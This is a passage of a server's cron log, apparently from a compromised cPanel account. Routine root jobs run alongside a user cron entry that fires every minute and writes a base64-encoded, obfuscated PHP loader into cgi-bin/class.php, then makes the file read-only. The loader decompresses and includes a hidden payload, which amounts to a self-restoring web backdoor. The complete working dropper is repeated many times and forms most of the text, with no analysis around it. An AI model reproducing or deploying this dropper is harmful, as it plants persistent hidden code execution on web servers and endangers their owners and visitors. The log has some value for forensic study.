> "$fp"; fi; chmod 444 "$fp")
Sep  5 14:47:01 server CROND[6869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:47:01 server CROND[6870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:47:01 server CROND[6871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:48:01 server CROND[7413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:48:01 server CROND[7414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:48:01 server CROND[7415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:49:01 server CROND[7811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:49:01 server CROND[7812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:49:01 server CROND[7813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:50:01 server CROND[8203]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:50:01 server CROND[8205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:50:01 server CROND[8206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:50:01 server CROND[8208]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:50:01 server CROND[8211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:50:01 server CROND[8214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:50:01 server CROND[8210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:50:01 server CROND[8212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:50:01 server CROND[8207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:51:01 server CROND[9079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:51:01 server CROND[9080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:51:01 server CROND[9081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:52:01 server CROND[9467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:52:01 server CROND[9468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:52:01 server CROND[9471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:53:01 server CROND[9999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:53:01 server CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:53:01 server CROND[10001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:54:01 server CROND[10391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:54:01 server CROND[10392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:54:01 server CROND[10393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:55:01 server CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:55:01 server CROND[10780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:55:01 server CROND[10783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:55:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:55:01 server CROND[10785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:55:01 server CROND[10782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:55:01 server CROND[10786]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:56:01 server CROND[11622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:56:01 server CROND[11623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:56:01 server CROND[11624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:57:01 server CROND[12022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:57:01 server CROND[12024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:57:01 server CROND[12025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:57:01 server CROND[12023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:58:01 server CROND[12535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:58:01 server CROND[12536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:58:01 server CROND[12537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:59:01 server CROND[12921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:59:01 server CROND[12922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
